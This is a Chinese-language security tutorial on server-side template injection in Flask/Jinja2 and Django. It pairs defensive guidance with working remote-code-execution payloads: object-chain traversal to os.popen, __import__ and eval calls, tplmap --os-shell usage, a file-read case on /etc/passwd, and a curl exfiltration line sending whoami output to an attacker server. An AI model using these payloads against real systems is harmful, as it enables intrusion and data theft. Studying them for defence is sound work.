Flask与Django SSTI漏洞:原理、5种利用方式与防御实战

📅 2026/7/25 5:15:43
Flask与Django SSTI漏洞:原理、5种利用方式与防御实战
1. 项目概述从模板渲染到代码执行在Web开发的世界里模板引擎是提升开发效率、实现前后端分离的利器。无论是轻量级的Flask还是功能完备的Django都内置了强大的模板系统让开发者能优雅地将动态数据嵌入到HTML页面中。然而这份便利背后潜藏着一个危险的陷阱——服务器端模板注入Server-Side Template Injection SSTI。这绝不是一个停留在理论层面的“学术漏洞”而是一个能直接导致服务器被完全控制的“致命武器”。简单来说SSTI漏洞的成因在于开发者将用户可控的输入未经充分净化就直接拼接到了模板语句中。模板引擎的本意是执行预定义的指令来渲染数据但当它错误地执行了用户输入的指令时整个系统的控制权就可能易手。攻击者可以利用这一点从简单的信息泄露开始逐步深入最终在服务器上执行任意系统命令读取敏感文件甚至获取一个反向Shell。我见过太多因为一个看似无害的“渲染用户名”功能而沦陷的线上服务。本文将深入剖析Flask使用Jinja2模板引擎和Django使用Django Template Language中SSTI漏洞的5种典型利用方式。我不会只停留在“如何利用”的层面更重要的是我会结合自己多年的安全审计和渗透测试经验拆解每一种利用方式背后的原理、触发的条件以及在实际攻防场景中的应用。最后我们会系统地探讨如何从开发习惯、框架配置、安全中间件等多个维度构建防御体系。无论你是正在使用这两个框架的开发者还是对Web安全感兴趣的研究者这篇文章都将提供可直接复现的案例和可落地的防护方案。2. SSTI漏洞原理深度解析引擎如何被“策反”要有效防御必须先透彻理解攻击是如何发生的。SSTI的本质是混淆了“数据”与“代码”的边界。模板引擎的工作流程通常包含两个阶段模板解析和模板渲染。漏洞就发生在解析阶段当用户输入被当作模板语法的一部分进行了解析。2.1 Jinja2与Django模板引擎的工作机制Jinja2 (Flask)的语法非常灵活且强大。它使用{{ ... }}进行变量替换和表达式求值使用{% ... %}执行控制语句如循环、条件判断。Jinja2允许在模板中访问Python对象的属性和方法这是其强大之处也是风险之源。例如{{ config }}可以访问Flask应用的配置对象而{{ .__class__ }}则会返回一个字符串对象的类。Django模板语言 (DTL)在设计上更加“保守”和安全。它的表达式输出也用{{ ... }}标签用{% ... %}。但与Jinja2一个关键区别在于DTL默认不允许执行任意Python代码或访问任意对象的属性和方法除非显式传入。它更像一个功能受限的沙箱。然而这个沙箱并非牢不可破在某些特定配置或写法下沙箱的边界会被打破。2.2 漏洞产生的典型代码模式漏洞几乎总是源于不安全的字符串拼接。以下是两种框架中最常见的危险模式Flask/Jinja2 危险示例from flask import Flask, request, render_template_string app Flask(__name__) app.route(/vulnerable) def vulnerable(): name request.args.get(name, Guest) # 致命错误将用户输入直接拼接到模板字符串中 template fh1Hello, {name}!/h1 return render_template_string(template)在这段代码中如果用户传入name{{7*7}}服务端会渲染出“Hello, 49!”这直接证明了模板引擎执行了用户输入的表达式7*7。Django 危险示例# views.py from django.shortcuts import render from django.template import Template, Context def vulnerable_view(request): user_input request.GET.get(section, default) # 危险使用用户输入作为模板名称的一部分虽然不常见但类似思想 # 更常见的危险是使用 Template(user_input).render(context) template_code fWelcome to our {{% block {user_input} %}} site! try: t Template(template_code) html t.render(Context({})) return HttpResponse(html) except: return HttpResponse(Error)虽然Django通常不直接渲染用户输入的模板字符串但错误地使用Template类直接编译用户输入或是在模板标签、过滤器参数中引入用户输入都可能打开缺口。核心要点判断是否存在SSTI一个简单的测试方法是向疑似注入点输入{{7*7}}、${7*7}或% 7*7 %等取决于模板语法观察返回页面是否计算出“49”。如果计算成功则证明存在注入模板引擎将你的输入作为代码执行了。2.3 从表达式执行到命令执行的关键跳板单纯的表达式计算如7*7危害有限攻击者的终极目标是执行任意系统命令RCE。这就需要利用模板引擎提供的“跳板”。这个跳板就是Python 的对象继承链和反射机制。在任何SSTI利用中攻击者的思路通常是找到起点从一个已知的、可访问的Python对象开始比如一个空字符串一个数字0甚至是Flask中的request对象。遍历继承链通过__class__属性找到该对象的类再通过__bases__或__mro__方法解析顺序找到基类通常是object。寻找危险子类从基类出发枚举其所有子类__subclasses__()在庞大的子类列表中寻找那些包含危险方法的类。常用的目标包括os._wrap_close 此类内部引用了os模块。subprocess.Popen 用于执行系统命令。warnings.catch_warnings 其内部模块引用可用于导入os。调用危险方法实例化找到的危险类或直接调用其方法最终达到导入os模块并执行os.popen(id).read()或os.system(bash -c ...)的目的。理解了这个链条我们就能明白后续所有利用方式本质上都是在自动化或优化这个寻找和调用的过程。3. 五种常见SSTI利用方式实战拆解下面我将结合具体代码示例详细拆解五种在不同场景下行之有效的利用方式。我会说明每种方式的适用场景、核心原理和具体操作。3.1 方式一经典对象链遍历与命令执行这是最基础、最通用的方法适用于绝大多数存在SSTI的Jinja2环境。利用过程获取基本类{{ .__class__ }}- 输出class str。寻找基类{{ .__class__.__bases__ }}- 输出(class object,)。或者用__mro__{{ .__class__.__mro__ }}- 输出(class str, class object)。我们的目标是object。枚举所有子类{{ .__class__.__bases__[0].__subclasses__() }}。这会打印出一个很长的列表包含了Python运行时加载的所有类。寻找可利用的类我们需要在这个列表中寻找索引号。例如寻找os._wrap_close类。你可以通过肉眼搜索或者在攻击时编写一个简短的脚本来自动遍历。假设我们找到它在索引133的位置。导入os模块并执行命令# 通过 __init__ 获取类引用再通过 __globals__ 获取模块命名空间字典 {{ .__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[sys].modules[os].popen(whoami).read() }}或者如果找到了subprocess.Popen假设在索引258{{ .__class__.__bases__[0].__subclasses__()[258]([ls, -la], stdout-1).communicate()[0] }}实操心得与避坑指南索引号是变动的__subclasses__()返回的列表顺序取决于Python解释器的导入顺序在不同环境、不同版本下目标类的索引号可能不同。因此在实际攻击中需要先进行“侦查”或者编写一个遍历脚本来动态定位目标类。过滤空格和括号某些WAF或简单的过滤可能会拦截空格、括号。可以使用Jinja2的特性进行绕过例如用[]代替.进行属性访问{{ [__class__] }}用|attr()过滤器{{ |attr(__class__) }}对于参数可以将其存储在变量中{{ request.args.cmd }}。命令执行无回显怎么办如果命令执行了但没有输出盲注可以考虑使用延时time.sleep(5)进行布尔盲注或者将结果外带到你的服务器curl http://your-server/?result$(whoami|base64)。3.2 方式二利用内置函数与命名空间访问当直接遍历子类受到限制时可以尝试从当前模板的上下文或内置函数中寻找突破口。利用过程访问__builtins__Python的__builtins__模块包含了所有内置函数。在Jinja2中有时可以通过上下文访问到它。{{ self.__init__.__globals__.__builtins__ }}self在Jinja2模板中指向当前的模板对象。通过__globals__可以访问到其全局命名空间进而找到__builtins__。调用危险内置函数从__builtins__中我们可以拿到eval,exec,open等危险函数。{{ self.__init__.__globals__.__builtins__[eval](__import__(os).popen(id).read()) }} {{ self.__init__.__globals__.__builtins__[open](/etc/passwd).read() }}适用场景与技巧这种方式通常用于{{ ... }}表达式内且当self对象在模板上下文中可用时。在某些Flask应用的错误页面或调试信息中self是可访问的。如果__builtins__被过滤可以尝试其他内置模块的引用如__import__本身就是一个内置函数可以直接调用{{ __import__(os).popen(id).read() }}。这是最简洁的RCE方式之一但__import__这个关键词也常常被列入黑名单。3.3 方式三针对Django特定环境的利用技巧Django模板的沙箱机制使得利用比Jinja2更困难但并非不可能。主要利用点在于其模板标签、过滤器和配置。利用过程利用{% debug %}标签仅限DEBUGTrue如果Django设置中DEBUG True且攻击者能够控制模板的某一部分可以尝试注入{% debug %}标签。这会将当前上下文的所有变量包括settings以交互式界面形式输出其中settings.SECRET_KEY等敏感信息一览无余为后续攻击如伪造Session提供基础。利用危险过滤器Django的dictsort过滤器在某些旧版本中存在安全问题。更通用的思路是如果应用自定义了不安全的过滤器也可能成为突破口。属性遍历的变种虽然DTL默认禁止.操作符访问以下划线开头的方法但可以通过{{ request }}对象如果已传入模板来尝试访问其属性。例如在一些配置不当的情况下{{ request.GET.urlencode }}可能会暴露信息。核心是寻找那些被无意中传入模板的、包含丰富属性的对象。沙箱逃逸高级对于使用django.template.Template并传入django.template.context.Context的场景如果沙箱配置不当理论上存在逃逸可能但这需要极特殊的条件和深入的Python知识在实际Web漏洞中较少见。注意Django SSTI的利用成功率远低于Flask/Jinja2。最常导致Django出现RCE的往往是配置错误例如将敏感设置如SECRET_KEY暴露给了模板或者允许用户上传并作为模板文件执行。因此对Django的防护重点在于严格的配置管理和输入校验。3.4 方式四通过Flask上下文全局对象突破Flask在渲染模板时会自动注入一些全局对象到Jinja2环境中如request,session,config,g。这些对象本身及其关联的类都可能成为攻击链的起点。利用过程config对象{{ config }}直接打印出所有配置可能包含数据库连接字符串、密钥等。更重要的是config对象本身是一个类字典对象其__class__属性同样可以用于启动对象链遍历。{{ config.__class__.__init__.__globals__[os].popen(ls).read() }}request对象{{ request }}对象非常强大。它本身是flask.Request类的实例。通过它不仅可以访问请求数据还可以作为跳板。{{ request.application.__init__.__globals__.__builtins__[__import__](os).system(touch /tmp/pwned) }}request.application指向当前的Flask应用实例其__init__.__globals__包含了应用初始化时的全局模块。技巧与场景在盲注场景下可以利用request对象将命令执行的结果带出。例如让目标服务器将whoami的结果作为参数向攻击者控制的服务器发起一个HTTP请求。如果目标存在SSTI但过滤了某些关键词可以尝试通过request.args或request.values来传递payload的一部分在模板中进行拼接从而绕过静态过滤。3.5 方式五使用工具自动化探测与利用手动构造SSTI payload虽然有效但效率低下尤其是在子类索引不确定或需要绕过复杂过滤时。此时自动化工具是必备的。主流工具介绍tplmap这是一款经典的SSTI自动化利用工具类似于SQL注入的sqlmap。它不仅能检测SSTI还能自动识别模板引擎类型Jinja2, Django, Smarty等并利用其特性获取远程Shell。基本使用python tplmap.py -u http://target.com/page?nametest获取交互式Shellpython tplmap.py -u http://target.com/page?nametest --os-shell优点全自动支持多种引擎利用链成熟。缺点流量特征明显容易被WAF拦截在某些复杂过滤环境下可能失效。手工探测脚本对于有定制化需求或需要绕过WAF的场景编写一个简单的Python探测脚本更为灵活。import requests import sys target sys.argv[1] param sys.argv[2] # 测试基本注入 test_payloads [ {{7*7}}, ${7*7}, % 7*7 %, {{.__class__}}, {{request}}, ] for payload in test_payloads: r requests.get(target, params{param: payload}) if 49 in r.text or class in r.text or LocalProxy in r.text: print(f[] Potential SSTI with payload: {payload}) print(r.text[:500]) # 打印部分响应以确认 break这个脚本可以快速验证是否存在注入以及模板引擎类型。工具使用心得先手工后工具建议先用简单payload如{{7*7}}手工确认漏洞存在和引擎类型再使用工具进行深度利用。直接上工具可能会因请求过于频繁或特征明显而被封禁。注意流量隐蔽tplmap的默认payload可能被现代WAF识别。可以尝试修改其源码中的payload字典或使用--tamper脚本如果支持来混淆流量。工具不是万能的对于高度定制化的应用、非常见模板引擎或者存在复杂过滤的情况工具可能无法成功。此时深入理解前面介绍的手工利用原理进行手工模糊测试和代码审计才是解决问题的关键。4. 多层次防御策略从编码到部署了解了攻击手段防御就有了针对性。防御SSTI需要一套组合拳贯穿开发、测试、部署全流程。4.1 开发阶段安全编码是第一道防线这是最根本、最有效的防御层。严格禁止渲染用户输入的模板字符串这是铁律。绝对不要使用render_template_string()或Django的Template()类去编译用户直接提供的字符串。如果需要动态模板应使用预定义的模板片段和安全的变量替换。错误示例render_template_string(user_input)正确做法使用固定的模板文件只将用户输入作为变量值传入。# Flask return render_template(greeting.html, nameuser_input) # Django return render(request, greeting.html, {name: user_input})在greeting.html中安全地使用h1Hello, {{ name }}!/h1对动态模板内容进行强白名单过滤如果业务上确实需要极度灵活的模板功能如CMS系统允许用户自定义页面样式那么必须建立一个严格的标签/过滤器白名单。使用一个安全的沙箱模板引擎如Jinja2的沙箱模式SandboxedEnvironment并只允许白名单内的、无害的标签和过滤器运行。from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment() # 配置白名单... template env.from_string(sanitized_user_content)谨慎使用|safe过滤器在Jinja2中|safe标记会告诉模板引擎该变量是安全的无需转义。永远不要对来自用户输入的数据使用|safe除非你百分之百确信它已经过严格的净化如只包含纯文本或受信任的HTML。这主要是防御XSS但也与SSTI的输入净化思想一致。4.2 框架配置与中间件加固利用框架自身的特性来增强安全性。Django: 保持DEBUGFalse在生产环境中务必确保DEBUG False。这不仅能避免暴露{% debug %}这样的危险标签和详细的错误信息还能提升性能是部署前的基本检查项。使用自动转义Jinja2和Django默认都开启了自动HTML转义。确保你没有在模板层面或全局配置中关闭它。这能有效防御XSS虽然对SSTI的直接防御作用有限但它是整体安全基线的一部分。考虑使用CSP内容安全策略Content Security PolicyHTTP头可以限制页面加载的资源如脚本、样式虽然不能阻止SSTI在服务器端发生但可以缓解SSTI导致的存储型XSS等次级攻击的影响。4.3 部署与运维层面的防护在应用之外构建防线。部署WAFWeb应用防火墙一款成熟的云WAF或硬件WAF可以识别并拦截常见的SSTI攻击payload。它们通常基于规则库能有效阻挡利用已知模式的自动化攻击工具如tplmap的扫描。最小权限原则运行应用运行Flask/Django应用的系统用户如www-data,nginx应该具有尽可能低的权限。确保该用户没有对关键系统文件如/etc/passwd,/etc/shadow的读取权限也没有在关键目录如/,/home的写入权限。这样即使攻击者实现了RCE其破坏力也受到限制。定期更新与安全审计保持Python解释器、Flask、Django以及所有依赖库的最新版本。定期对代码进行安全审计特别是对涉及模板渲染、文件操作、命令执行的部分进行重点审查。可以使用静态代码分析工具如Bandit进行辅助扫描。# 使用Bandit扫描Python代码 bandit -r your_project/4.4 安全测试与漏洞排查清单将安全检查流程化。在开发完成后或上线前可以按照以下清单进行自检[ ] 全局搜索render_template_string,Template(在Django中检查其参数是否完全可控。[ ] 检查所有传入模板的变量确认其来源是否可信是否经过净化。[ ] 确认生产环境DEBUGFalseDjango或app.debug FalseFlask。[ ] 运行bandit等SAST工具查看是否有关于模板注入的中高风险提示。[ ] 进行黑盒测试向所有用户输入点尝试注入{{7*7}}、${7*7}等测试payload。5. 实战案例一个Flask SSTI漏洞的完整挖掘与利用过程为了将上述知识串联起来我模拟一个真实的审计场景。假设我们有一个简单的Flask笔记应用它允许用户创建笔记并支持“自定义笔记模板”功能一个高危功能点。漏洞代码 (app.py):from flask import Flask, request, render_template_string app Flask(__name__) notes [] app.route(/create, methods[GET, POST]) def create_note(): if request.method POST: title request.form.get(title) # 漏洞点用户控制的模板内容被直接渲染 template_content request.form.get(template, p{{ content }}/p) content request.form.get(content) # 将用户笔记内容套用其自定义的模板 try: # 致命操作将用户输入的template_content和content拼接渲染 note_html render_template_string(template_content, contentcontent) except Exception as e: note_html fpTemplate Error: {e}/p notes.append({title: title, html: note_html}) return Note saved! return form methodpost Title: input nametitlebr Custom Template (optional): textarea nametemplatep{{ content }}/p/textareabr Content: textarea namecontent/textareabr input typesubmit /form 攻击步骤探测在“Custom Template”字段输入{{7*7}}提交。如果返回的页面或保存后的笔记显示“49”则确认SSTI存在。信息收集输入{{ config }}查看Flask配置可能会泄露SECRET_KEY。构造利用链目标是执行命令。我们使用对象链遍历法。先获取所有子类列表的索引可以分步进行或者直接使用一个较短的payload探测os._wrap_close类。假设我们通过遍历脚本或经验知道其索引在133附近。执行命令在模板字段输入最终payload{{ .__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[sys].modules[os].popen(cat /etc/passwd).read() }}提交后笔记内容将不再是预期的文本而是/etc/passwd文件的内容。获取反向Shell如果目标服务器有网络连接权限可以尝试更危险的payload如用Python或bash创建反向Shell连接。漏洞修复这个功能的初衷是危险的。除非绝对必要否则应删除“自定义模板”功能。如果必须保留必须实施严格的沙箱机制from jinja2.sandbox import SandboxedEnvironment sandbox_env SandboxedEnvironment() def create_note_safe(): # ... 获取title, template_content, content ... try: # 1. 对template_content进行严格的标签/关键字黑名单过滤不推荐易绕过或白名单过滤推荐。 # 2. 在沙箱环境中编译和渲染 template sandbox_env.from_string(template_content) note_html template.render(contentcontent) # 只传入安全的content变量 except Exception as e: note_html fpTemplate Error/p # 记录日志但不暴露具体错误信息给用户 # ...即使使用沙箱也需要极其谨慎地评估其安全性因为沙箱逃逸漏洞在历史上也时有发生。最安全的做法就是不让用户触碰模板语法。6. 常见问题与排查技巧实录在实际开发和渗透测试中会遇到各种奇怪的问题。这里记录一些常见的坑和解决思路。Q1: 我输入了{{7*7}}但返回的是原字符串“{{7*7}}”不是“49”是不是就没漏洞A: 不一定。这可能有几种情况模板引擎不同目标可能使用的是其他模板引擎如Mako语法${7*7}、TwigPHP语法{{7*7}}但上下文不同、或纯文本渲染。需要尝试其他引擎的payload。输出被转义了可能模板引擎正常执行了但输出时被HTML编码了。查看网页源代码看源代码里是不是49。或者尝试{{test}}看输出是test还是lt;testgt;。存在过滤或WAF可能{{或}}被过滤或拦截了。尝试使用编码、拼接等方式绕过如{{%7b%7b7*7%7d%7d|urlencode}}如果存在解码过滤器或者利用模板自身的特性{{request.args.a}}其中a7*7。Q2: 找到了SSTI也能执行{{config}}但执行系统命令的payload总是报错或没回显怎么办A: 这是最考验耐心的时候。可以按以下步骤排查检查语法和索引确保Python语法正确特别是括号和引号的匹配。子类索引号不对是最常见的原因。写一个简单的payload来遍历并搜索目标类{% for idx, cls in .__class__.__bases__[0].__subclasses__() %}{% if os in cls.__name__ %}{{ idx }}:{{ cls.__name__ }}{% endif %}{% endfor %}。尝试无回显命令先执行一个能产生明显侧信道效果的命令如sleep 5{{.__class__...popen(sleep 5)}}看请求是否延迟或者ping你的服务器看是否收到ICMP包需要出网权限。尝试写文件如果命令执行成功但无法回显可以尝试将结果写入一个Web可访问的目录{{.__class__...popen(whoami /tmp/result.txt).read()}}然后尝试通过其他路径如静态文件目录、已知上传点访问这个文件。考虑权限问题可能应用运行在一个严格的容器或权限极低的用户下无法执行/bin/bash或读取某些文件。尝试使用python -c执行Python代码或者用id、pwd等简单命令测试。Q3: 在Django里除了DEBUG模式还有什么常见的SSTI触发点A: Django SSTI相对罕见但以下场景需要警惕自定义模板标签/过滤器如果开发者在自定义标签或过滤器中使用了eval()、exec()或compile()等函数处理用户输入就会造成严重的RCE这比模板注入更直接。模板文件上传与渲染如果应用允许用户上传文件并且错误地将上传的文件当作模板来加载和渲染例如通过render_to_string(uploaded_file_path)那就是一个灾难性的漏洞。flatpages或CMS插件一些第三方应用或插件可能提供了富文本或模板编辑功能其后台实现可能不安全。Q4: 作为开发者我用了参数化渲染render_template(file.html, varuser_input)是不是就绝对安全了A: 这是正确且安全的做法可以防御绝大多数SSTI攻击。因为用户输入user_input是作为数据传递给模板的而不是作为模板语法的一部分被解析。只要你不做{{ user_input|safe }}这样危险的操作可能引发XSS在模板文件内部使用{{ var }}是安全的。你的安全重点应转移到防御XSS和确保其他业务逻辑的安全上。最后一点个人体会SSTI漏洞的根源在于“信任了不该信任的输入”。在Web安全领域这条原则放之四海而皆准。无论是SQL注入、XSS、命令注入还是SSTI本质上都是将用户控制的数据错误地解释为代码。建立起对一切外部输入“零信任”的心态在拼接字符串时多问一句“这里面的内容我是否完全可控”就能避免绝大多数此类漏洞。对于Flask和Django开发者而言牢记“不要用render_template_string处理用户输入”就相当于堵上了最危险的那扇门。